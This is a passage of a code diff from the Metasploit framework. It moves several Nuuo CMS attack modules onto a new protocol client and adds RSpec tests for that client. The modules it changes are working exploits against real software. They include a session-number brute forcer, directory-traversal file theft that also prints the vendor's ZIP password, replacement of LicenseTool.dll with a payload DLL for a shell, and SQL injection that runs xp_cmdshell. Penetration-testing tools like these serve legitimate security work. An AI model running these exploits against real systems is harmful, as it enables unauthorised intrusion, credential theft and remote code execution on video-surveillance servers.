self.body << part
|
||||||
|
self.body_bytes_left -= part.length
|
||||||
|
else
|
||||||
|
self.body_bytes_left = 0
|
||||||
|
end
|
||||||
|
|
||||||
|
if self.body_bytes_left == 0
|
||||||
|
self.state = ParseState::Completed
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_headers(head)
|
||||||
|
head.each_line.with_index do |l, i|
|
||||||
|
if i == 0
|
||||||
|
self.protocol,self.status_code,self.message = l.split(' ', 3)
|
||||||
|
self.status_code = self.status_code.to_i if self.status_code
|
||||||
|
next
|
||||||
|
end
|
||||||
|
k,v = l.split(':', 2)
|
||||||
|
self.headers[k] = v.strip
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -119,10 +119,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
def session_bruteforce_list(weighted_array)
|
def session_bruteforce_list(weighted_array)
|
||||||
list = session_number_list(weighted_array)
|
list = session_number_list(weighted_array)
|
||||||
for session in list
|
for session in list
|
||||||
@nucs_session = session
|
req = client.request_ping({
|
||||||
data = nucs_send_msg(['PING'])
|
'method' => 'PING',
|
||||||
|
'user_session' => session
|
||||||
|
})
|
||||||
|
# module fails when shutdown/close lots of connections
|
||||||
|
# create own connection and dont call close
|
||||||
|
conn = client.connect(temp: true)
|
||||||
|
res = client.send_recv(req, conn)
|
||||||
|
|
||||||
@counter += 1
|
@counter += 1
|
||||||
if data[0] =~ /OK/ || data[0] =~ /612/
|
if res && res.status_code == 200
|
||||||
return session
|
return session
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -130,6 +137,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
connect
|
||||||
@counter = 0
|
@counter = 0
|
||||||
print_status('Bruteforcing session - this might take a while, go get some coffee!')
|
print_status('Bruteforcing session - this might take a while, go get some coffee!')
|
||||||
session = nil
|
session = nil
|
||||||
|
|
|
@ -45,42 +45,49 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('FILE', [false, 'Additional file to download, use ..\\ to traverse directories from \
|
OptInt.new('DEPTH', [true, 'Directory traversal depth [..\]', 2]),
|
||||||
the CMS install folder'])
|
OptString.new('FILE', [false, 'Additional file to download'])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
def download_file(file_name, ctype='application/zip', decrypt=true)
|
def download_file(file_name, ctype='application/zip', depth=2)
|
||||||
dl_file = nucs_download_file(file_name, decrypt)
|
res = ncs_send_request({
|
||||||
file_name = file_name.gsub('..\\', '')
|
'method' => 'GETCONFIG',
|
||||||
|
'user_session' => user_session,
|
||||||
|
'file_name' => %{#{"..\\"*depth}#{file_name}}
|
||||||
|
})
|
||||||
|
|
||||||
|
return nil unless res
|
||||||
path = store_loot(file_name, ctype, datastore['RHOST'],
|
path = store_loot(file_name, ctype, datastore['RHOST'],
|
||||||
dl_file, file_name, "Nuuo CMS #{file_name} downloaded")
|
res.body, file_name, "Nuuo CMS #{file_name} downloaded")
|
||||||
print_good("Downloaded file to #{path}")
|
print_good("Downloaded file to #{path}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
nucs_login
|
connect
|
||||||
|
res = ncs_login
|
||||||
|
|
||||||
unless @nucs_session
|
unless res
|
||||||
fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS')
|
fail_with(Failure::NoAccess, "Failed to login to Nuuo CMS")
|
||||||
end
|
end
|
||||||
|
|
||||||
download_file('CMServer.cfg')
|
download_file('CMServer.cfg')
|
||||||
download_file('ServerConfig.cfg')
|
download_file('ServerConfig.cfg')
|
||||||
|
|
||||||
# note that when (if) archive/zip is included in msf, the code in the Nuuo mixin needs to be changed
|
info = %q{
|
||||||
# see the download_file method for details
|
The user and server configuration files were stored in the loot database.
|
||||||
print_status('The user and server configuration files were stored in the loot database.')
|
The files are ZIP encrypted, and due to the lack of the archive/zip gem,
|
||||||
print_status('The files are ZIP encrypted, and due to the lack of the archive/zip gem,')
|
they cannot be decrypted in Metasploit.
|
||||||
print_status('they cannot be decrypted in Metasploit.')
|
You will need to open them up with zip or a similar utility, and use the
|
||||||
print_status('You will need to open them up with zip or a similar utility, and use the')
|
password NUCMS2007! to unzip them.
|
||||||
print_status('password NUCMS2007! to unzip them.')
|
Annoy the Metasploit developers until this gets fixed!
|
||||||
print_status('Annoy the Metasploit developers until this gets fixed!')
|
}
|
||||||
|
print_status("\r\n#{info}")
|
||||||
|
|
||||||
if datastore['FILE']
|
if datastore['FILE']
|
||||||
filedata = download_file(datastore['FILE'], 'application/octet-stream', false)
|
download_file(datastore['FILE'], 'application/octet-stream', datastore['DEPTH'])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
client.close
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -76,29 +76,47 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def upload_file(filename, data)
|
||||||
nucs_login
|
res = ncs_send_request({
|
||||||
|
'method' => 'COMMITCONFIG',
|
||||||
|
'file_name' => "..\\..\\#{filename}",
|
||||||
|
'user_session' => user_session,
|
||||||
|
'data' => data
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
unless @nucs_session
|
def exploit
|
||||||
fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS')
|
connect
|
||||||
end
|
res = ncs_login
|
||||||
|
fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') unless res
|
||||||
|
|
||||||
# Download and upload a backup of LicenseTool.dll, so that we can restore it at post
|
# Download and upload a backup of LicenseTool.dll, so that we can restore it at post
|
||||||
# and not nuke the CMS installation.
|
# and not nuke the CMS installation.
|
||||||
@dll = rand_text_alpha(12)
|
@dll = rand_text_alpha(12)
|
||||||
print_status("Backing up LicenseTool.dll to #{@dll}")
|
print_status("Backing up LicenseTool.dll to #{@dll}")
|
||||||
dll_data = nucs_download_file('LicenseTool.dll')
|
|
||||||
nucs_upload_file(@dll, dll_data)
|
ltool = 'LicenseTool.dll'
|
||||||
|
res = ncs_send_request({
|
||||||
|
'method' => 'GETCONFIG',
|
||||||
|
'file_name' => "..\\..\\#{ltool}",
|
||||||
|
'user_session' => user_session
|
||||||
|
})
|
||||||
|
dll_data = res.body
|
||||||
|
|
||||||
|
upload_file(@dll, dll_data)
|
||||||
|
|
||||||
print_status('Uploading payload...')
|
print_status('Uploading payload...')
|
||||||
nucs_upload_file('LicenseTool.dll', generate_payload_dll)
|
upload_file(ltool, generate_payload_dll)
|
||||||
|
|
||||||
print_status('Sleeping 15 seconds...')
|
print_status('Sleeping 15 seconds...')
|
||||||
Rex.sleep(15)
|
Rex.sleep(15)
|
||||||
|
|
||||||
print_status('Sending SENDLICFILE request, shell incoming!')
|
print_status('Sending SENDLICFILE request, shell incoming!')
|
||||||
license_data = rand_text_alpha(50..350)
|
res = ncs_send_request({
|
||||||
nucs_send_msg(['SENDLICFILE', "FileName: #{rand_text_alpha(3..11)}.lic",
|
'method' => 'SENDLICFILE',
|
||||||
'Content-Length: ' + license_data.length.to_s], license_data)
|
'file_name' => "#{rand_text_alpha(3..11)}.lic",
|
||||||
|
'user_session' => user_session,
|
||||||
|
'data' => rand_text_alpha(50..350)
|
||||||
|
})
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -57,13 +57,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def inject_sql(sql, final = false)
|
def inject_sql(sql)
|
||||||
sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
|
res = ncs_send_request({
|
||||||
if final
|
'method' => 'GETOPENALARM',
|
||||||
nucs_send_msg_async(sql)
|
'user_session' => user_session,
|
||||||
else
|
'device_id' => "#{rand_text_numeric(4)}",
|
||||||
nucs_send_msg(sql)
|
'source_server' => "';#{sql};-- ",
|
||||||
end
|
'last_one' => "#{rand_text_numeric(4)}"
|
||||||
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
# Handle incoming requests from the server
|
# Handle incoming requests from the server
|
||||||
|
@ -78,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
Rex.sleep(3)
|
Rex.sleep(3)
|
||||||
|
|
||||||
print_status('Executing shell...')
|
print_status('Executing shell...')
|
||||||
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
|
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""))
|
||||||
register_file_for_cleanup("c:/windows/temp/#{@filename}")
|
register_file_for_cleanup("c:/windows/temp/#{@filename}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -112,24 +113,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
nucs_login
|
connect
|
||||||
|
ncs_login
|
||||||
unless @nucs_session
|
fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') unless user_session
|
||||||
fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS')
|
|
||||||
end
|
|
||||||
|
|
||||||
@pl = generate_payload_exe
|
@pl = generate_payload_exe
|
||||||
|
|
||||||
#do not use SSL
|
#do not use SSL
|
||||||
if datastore['SSL']
|
ssl = datastore['SSL']
|
||||||
ssl_restore = true
|
datastore['SSL'] = false
|
||||||
datastore['SSL'] = false
|
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
Timeout.timeout(datastore['HTTPDELAY']) {super}
|
Timeout.timeout(datastore['HTTPDELAY']) {super}
|
||||||
rescue Timeout::Error
|
rescue Timeout::Error
|
||||||
datastore['SSL'] = true if ssl_restore
|
datastore['SSL'] = ssl
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,135 @@
|
||||||
|
# -*- coding:binary -*-
|
||||||
|
require 'rex/proto/nuuo/client_request'
|
||||||
|
|
||||||
|
RSpec.describe Rex::Proto::Nuuo::ClientRequest do
|
||||||
|
subject(:client_request) {
|
||||||
|
opts = {
|
||||||
|
'user_session' => user_session,
|
||||||
|
'headers' => headers_hash,
|
||||||
|
'data' => data
|
||||||
|
}
|
||||||
|
described_class.new(opts)
|
||||||
|
}
|
||||||
|
let(:user_session) {nil}
|
||||||
|
let(:headers_hash) {{}}
|
||||||
|
let(:data) {nil}
|
||||||
|
|
||||||
|
describe '#to_s' do
|
||||||
|
context 'given no additional options' do
|
||||||
|
it 'returns a USERLOGIN request' do
|
||||||
|
expect(client_request.to_s).to eq("USERLOGIN NUCM/1.0\r\n\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given a headers hash' do
|
||||||
|
let(:headers_hash) {{
|
||||||
|
'TestHeader' => 'TestValue',
|
||||||
|
'TestHeader1' => 'TestValue1'
|
||||||
|
}}
|
||||||
|
it 'dumps the headers after the method line' do
|
||||||
|
expect(client_request.to_s).to eq("USERLOGIN NUCM/1.0\r\nTestHeader: TestValue\r\nTestHeader1: TestValue1\r\n\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given a user_session and User-Session-No header' do
|
||||||
|
let(:user_session) {'0'}
|
||||||
|
let(:headers_hash) {{'User-Session-No' => '1'}}
|
||||||
|
|
||||||
|
it 'prefers the User-Session-No in the headers hash' do
|
||||||
|
expect(client_request.to_s).to eq("USERLOGIN NUCM/1.0\r\nUser-Session-No: 1\r\n\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#set_method' do
|
||||||
|
it 'returns the method variable' do
|
||||||
|
expect(client_request.set_method).to eq('USERLOGIN')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#set_proto_version' do
|
||||||
|
it 'returns the protocol and version separated by /' do
|
||||||
|
expect(client_request.set_proto_version).to eq("NUCM/1.0\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
describe '#set_header' do
|
||||||
|
|
||||||
|
context 'given no user session number' do
|
||||||
|
let(:user_session) {nil}
|
||||||
|
|
||||||
|
it 'returns an empty header' do
|
||||||
|
expect(client_request.set_header('user_session', 'User-Session-No')).to eq('')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given user session number' do
|
||||||
|
let(:user_session) {'987'}
|
||||||
|
|
||||||
|
it 'returns a User-Session-No header' do
|
||||||
|
expect(client_request.set_header('user_session', 'User-Session-No')).to eq("User-Session-No: 987\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given a nonexistent key' do
|
||||||
|
it 'returns an empty header' do
|
||||||
|
expect(client_request.set_header('DoesNotExist', 'DoesNotExist')).to eq('')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given a key specified in the headers hash' do
|
||||||
|
let(:user_session) {'987'}
|
||||||
|
let(:headers_hash) {{'User-Session-No' => '1000'}}
|
||||||
|
|
||||||
|
it 'returns an empty header' do
|
||||||
|
expect(client_request.set_header('user_session', 'User-Session-No')).to eq('')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#set_extra_headers' do
|
||||||
|
context 'given an empty headers hash' do
|
||||||
|
it 'returns an empty string' do
|
||||||
|
expect(client_request.set_extra_headers).to eq('')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given a headers hash' do
|
||||||
|
let(:headers_hash) {{
|
||||||
|
'Header' => 'Value',
|
||||||
|
'Another' => 'One'
|
||||||
|
}}
|
||||||
|
|
||||||
|
it 'returns formatted headers' do
|
||||||
|
expect(client_request.set_extra_headers).to eq("Header: Value\r\nAnother: One\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#set_body' do
|
||||||
|
context 'given an empty body variable' do
|
||||||
|
it 'returns \r\n' do
|
||||||
|
expect(client_request.set_body).to eq("\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given body content' do
|
||||||
|
let(:data) {"test data"}
|
||||||
|
|
||||||
|
it 'returns \r\n followed by the body content' do
|
||||||
|
expect(client_request.set_body).to eq("\r\ntest data")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#set_formatted_header' do
|
||||||
|
let(:name) {'HeaderName'}
|
||||||
|
let(:value) {'HeaderValue'}
|
||||||
|
|
||||||
|
it 'creates a request header' do
|
||||||
|
expect(subject.set_formatted_header(name, value)).to eq("HeaderName: HeaderValue\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,548 @@
|
||||||
|
# -*- coding:binary -*-
|
||||||
|
require 'rex/proto/nuuo/client'
|
||||||
|
|
||||||
|
RSpec.describe Rex::Proto::Nuuo::Client do
|
||||||
|
subject(:client) {
|
||||||
|
described_class.new({
|
||||||
|
protocol: protocol,
|
||||||
|
user_session: client_user_session,
|
||||||
|
username: client_username,
|
||||||
|
password: client_password
|
||||||
|
})
|
||||||
|
}
|
||||||
|
let(:protocol) {'tcp'}
|
||||||
|
let(:client_user_session) {nil}
|
||||||
|
let(:client_username) {nil}
|
||||||
|
let(:client_password) {nil}
|
||||||
|
|
||||||
|
describe '#connect' do
|
||||||
|
context 'given temp is false' do
|
||||||
|
context 'when there is no connection' do
|
||||||
|
it 'returns a tcp connection' do
|
||||||
|
tcp_connection = double('tcp_connection')
|
||||||
|
allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection)
|
||||||
|
|
||||||
|
expect(client.connect).to eq(tcp_connection)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'saves the tcp connection' do
|
||||||
|
tcp_connection = double('tcp_connection')
|
||||||
|
allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection)
|
||||||
|
|
||||||
|
client.connect
|
||||||
|
expect(client.connection).to eq(tcp_connection)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when there is saved connection' do
|
||||||
|
it 'returns the saved tcp connection' do
|
||||||
|
tcp_connection = double('tcp_connection')
|
||||||
|
client.connection = tcp_connection
|
||||||
|
|
||||||
|
expect(client.connect).to eq(tcp_connection)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given temp is true' do
|
||||||
|
context 'when there is a saved connection' do
|
||||||
|
it 'returns a new connection' do
|
||||||
|
tcp_connection0 = double('tcp_connection')
|
||||||
|
tcp_connection1 = double('tcp_connection')
|
||||||
|
allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection1)
|
||||||
|
|
||||||
|
client.connection = tcp_connection0
|
||||||
|
expect(client.connect(temp: true)).to eq(tcp_connection1)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'does not overwrite existing connection' do
|
||||||
|
tcp_connection0 = double('tcp_connection')
|
||||||
|
tcp_connection1 = double('tcp_connection')
|
||||||
|
allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection1)
|
||||||
|
|
||||||
|
client.connection = tcp_connection0
|
||||||
|
client.connect(temp: true)
|
||||||
|
expect(client.connection).to eq(tcp_connection0)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when there is no saved connection' do
|
||||||
|
it 'returns a new connection' do
|
||||||
|
tcp_connection = double('tcp_connection')
|
||||||
|
allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection)
|
||||||
|
|
||||||
|
expect(client.connect(temp: true)).to eq(tcp_connection)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'does not save the connection' do
|
||||||
|
tcp_connection = double('tcp_connection')
|
||||||
|
allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection)
|
||||||
|
|
||||||
|
client.connect(temp: true)
|
||||||
|
expect(client.connection).to be_nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#close' do
|
||||||
|
context 'given there is a connection' do
|
||||||
|
it 'calls shutdown on the connection' do
|
||||||
|
tcp_connection = double('tcp_connection')
|
||||||
|
allow(tcp_connection).to receive(:shutdown) {true}
|
||||||
|
allow(tcp_connection).to receive(:closed?) {false}
|
||||||
|
allow(tcp_connection).to receive(:close) {true}
|
||||||
|
client.connection = tcp_connection
|
||||||
|
|
||||||
|
expect(tcp_connection).to receive(:shutdown)
|
||||||
|
client.close
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'calls closed on the connection' do
|
||||||
|
tcp_connection = double('tcp_connection')
|
||||||
|
allow(tcp_connection).to receive(:shutdown) {true}
|
||||||
|
allow(tcp_connection).to receive(:closed?) {false}
|
||||||
|
allow(tcp_connection).to receive(:close) {true}
|
||||||
|
client.connection = tcp_connection
|
||||||
|
|
||||||
|
expect(tcp_connection).to receive(:close)
|
||||||
|
client.close
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#send_recv' do
|
||||||
|
context 'given no connection is passed in' do
|
||||||
|
it 'calls send_request without connection' do
|
||||||
|
allow(client).to receive(:send_request) do |*args|
|
||||||
|
expect(args[1]).to be_nil
|
||||||
|
end
|
||||||
|
allow(client).to receive(:read_response)
|
||||||
|
|
||||||
|
client.send_recv('test')
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'calls read_resposne without connection' do
|
||||||
|
allow(client).to receive(:read_response) do |*args|
|
||||||
|
expect(args[0]).to be_nil
|
||||||
|
end
|
||||||
|
allow(client).to receive(:send_request)
|
||||||
|
|
||||||
|
client.send_recv('test')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given a connection is passed in' do
|
||||||
|
it 'uses the passed in connection' do
|
||||||
|
tcp_connection = double('tcp_connection')
|
||||||
|
passed_connection = double('passed_connection')
|
||||||
|
client.connection = tcp_connection
|
||||||
|
|
||||||
|
allow(passed_connection).to receive(:put)
|
||||||
|
allow(client).to receive(:read_response)
|
||||||
|
|
||||||
|
expect(passed_connection).to receive(:put)
|
||||||
|
client.send_recv('test', passed_connection)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#read_response' do
|
||||||
|
let(:res) {"NUCM/1.0 200\r\nTest:test\r\nContent-Length:1\r\n\r\na"}
|
||||||
|
it 'returns a Response object' do
|
||||||
|
tcp_connection = double('tcp_connection')
|
||||||
|
allow(tcp_connection).to receive('closed?') {false}
|
||||||
|
allow(tcp_connection).to receive('get_once') {res}
|
||||||
|
client.connection = tcp_connection
|
||||||
|
|
||||||
|
expect(client.read_response).to be_a_kind_of(Rex::Proto::Nuuo::Response)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#request_ping' do
|
||||||
|
subject(:ping_request) {
|
||||||
|
opts = {'user_session' => user_session}
|
||||||
|
client.request_ping(opts)
|
||||||
|
}
|
||||||
|
let(:user_session) {nil}
|
||||||
|
|
||||||
|
it 'returns a PING client request' do
|
||||||
|
expect(ping_request.to_s).to start_with('PING')
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given a user_session option' do
|
||||||
|
let(:user_session) {'test'}
|
||||||
|
|
||||||
|
context 'when the client does not have a session' do
|
||||||
|
it 'uses the user_session option' do
|
||||||
|
expect(ping_request.to_s).to match('User-Session-No: test')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when the client has a session' do
|
||||||
|
let(:client_user_session) {'client'}
|
||||||
|
|
||||||
|
it 'overrides the client session value' do
|
||||||
|
expect(ping_request.to_s).to match('User-Session-No: test')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
context 'given no user_session is provided' do
|
||||||
|
context 'when the client does not have a session' do
|
||||||
|
it 'does not have a User-Session-No header' do
|
||||||
|
expect(ping_request.to_s).to_not match('User-Session-No:')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when the client has a session' do
|
||||||
|
let(:client_user_session) {'client'}
|
||||||
|
|
||||||
|
it 'uses the client session' do
|
||||||
|
expect(ping_request.to_s).to match('User-Session-No: client')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#request_sendlicfile' do
|
||||||
|
subject(:sendlicfile_request) {
|
||||||
|
opts = {
|
||||||
|
'file_name' => filename,
|
||||||
|
'data' => data
|
||||||
|
}
|
||||||
|
client.request_sendlicfile(opts).to_s
|
||||||
|
}
|
||||||
|
let(:filename) {'TestFile'}
|
||||||
|
let(:data) {'testdata'}
|
||||||
|
|
||||||
|
it 'returns a SENDLICFILE client request' do
|
||||||
|
expect(sendlicfile_request).to start_with('SENDLICFILE')
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given file_name' do
|
||||||
|
it 'sets the FileName header with the value' do
|
||||||
|
expect(sendlicfile_request).to match("[^\r\n]\r\nFileName: TestFile\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no file_name' do
|
||||||
|
let(:filename) {nil}
|
||||||
|
|
||||||
|
it 'creates an empty FileName header' do
|
||||||
|
expect(sendlicfile_request).to match("[^\r\n]\r\nFileName: \r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given data' do
|
||||||
|
it 'sets the body to the data contents' do
|
||||||
|
expect(sendlicfile_request).to end_with("\r\n\r\ntestdata")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets the Content-Length header with data length' do
|
||||||
|
expect(sendlicfile_request).to match("[^\r\n]\r\nContent-Length: 8\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no data' do
|
||||||
|
let(:data) {nil}
|
||||||
|
it 'creates an empty body' do
|
||||||
|
expect(sendlicfile_request).to end_with("\r\n\r\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'set Content-Length header to 0' do
|
||||||
|
expect(sendlicfile_request).to match("[^\r\n]\r\nContent-Length: 0\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#request_getconfig' do
|
||||||
|
subject(:getconfig_request) {
|
||||||
|
opts = {
|
||||||
|
'file_name' => filename,
|
||||||
|
'file_type' => filetype
|
||||||
|
}
|
||||||
|
client.request_getconfig(opts).to_s
|
||||||
|
}
|
||||||
|
let(:filename) {'TestName'}
|
||||||
|
let(:filetype) {2}
|
||||||
|
|
||||||
|
it 'returns a GETCONFIG client request' do
|
||||||
|
expect(getconfig_request).to start_with('GETCONFIG')
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given file_name' do
|
||||||
|
it 'sets the FileName header' do
|
||||||
|
expect(getconfig_request).to match("[^\r\n]\r\nFileName: TestName\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no file_name' do
|
||||||
|
let(:filename) {nil}
|
||||||
|
it 'creates an empty FileName header' do
|
||||||
|
expect(getconfig_request).to match("[^\r\n]\r\nFileName: \r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given a file_type' do
|
||||||
|
it 'sets the FileType header' do
|
||||||
|
expect(getconfig_request).to match("[^\r\n]\r\nFileType: 2\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no file_type' do
|
||||||
|
let(:filetype) {nil}
|
||||||
|
it 'defaults to 1' do
|
||||||
|
expect(getconfig_request).to match("[^\r\n]\r\nFileType: 1\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#request_commitconfig' do
|
||||||
|
subject(:commitconfig_request) {
|
||||||
|
opts = {
|
||||||
|
'file_name' => filename,
|
||||||
|
'file_type' => filetype,
|
||||||
|
'data' => data
|
||||||
|
}
|
||||||
|
client.request_commitconfig(opts).to_s
|
||||||
|
}
|
||||||
|
let(:filename) {'TestName'}
|
||||||
|
let(:filetype) {2}
|
||||||
|
let(:data) {'testdata'}
|
||||||
|
|
||||||
|
it 'returns a COMMITCONFIG client request' do
|
||||||
|
expect(commitconfig_request).to start_with('COMMITCONFIG')
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given file_name' do
|
||||||
|
it 'sets the FileName header' do
|
||||||
|
expect(commitconfig_request).to match("[^\r\n]\r\nFileName: TestName\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no file_name' do
|
||||||
|
let(:filename) {nil}
|
||||||
|
|
||||||
|
it 'creates an empty FileName header' do
|
||||||
|
expect(commitconfig_request).to match("[^\r\n]\r\nFileName: \r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given file_type' do
|
||||||
|
it 'sets the FileType header' do
|
||||||
|
expect(commitconfig_request).to match("[^\r\n]\r\nFileType: 2\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no file_type' do
|
||||||
|
let(:filetype) {nil}
|
||||||
|
|
||||||
|
it 'creates an empty FileType header' do
|
||||||
|
expect(commitconfig_request).to match("[^\r\n]\r\nFileType: 1\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given data' do
|
||||||
|
it 'sets the request body to the data' do
|
||||||
|
expect(commitconfig_request).to end_with("\r\n\r\ntestdata")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets Content-Length to data length' do
|
||||||
|
expect(commitconfig_request).to match("[^\r\n]\r\nContent-Length: 8\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no data' do
|
||||||
|
let(:data) {nil}
|
||||||
|
|
||||||
|
it 'creates an empty request body' do
|
||||||
|
expect(commitconfig_request).to end_with("\r\n\r\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'creates Content-Length header with 0' do
|
||||||
|
expect(commitconfig_request).to match("[^\r\n]\r\nContent-Length: 0\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#request_userlogin' do
|
||||||
|
subject(:userlogin_request) {
|
||||||
|
opts = {
|
||||||
|
'server_version' => server_version,
|
||||||
|
'username' => username,
|
||||||
|
'password' => password
|
||||||
|
}
|
||||||
|
client.request_userlogin(opts).to_s
|
||||||
|
}
|
||||||
|
let(:server_version) {'1.1.1'}
|
||||||
|
let(:username) {'user'}
|
||||||
|
let(:password) {'pass'}
|
||||||
|
|
||||||
|
it 'returns a USERLOGIN client request' do
|
||||||
|
expect(userlogin_request).to start_with('USERLOGIN')
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given server_version' do
|
||||||
|
it 'sets Version header with value' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nVersion: 1.1.1\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no server_version' do
|
||||||
|
let(:server_version) {nil}
|
||||||
|
|
||||||
|
it 'creates an empty Version header' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nVersion: \r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when client has username' do
|
||||||
|
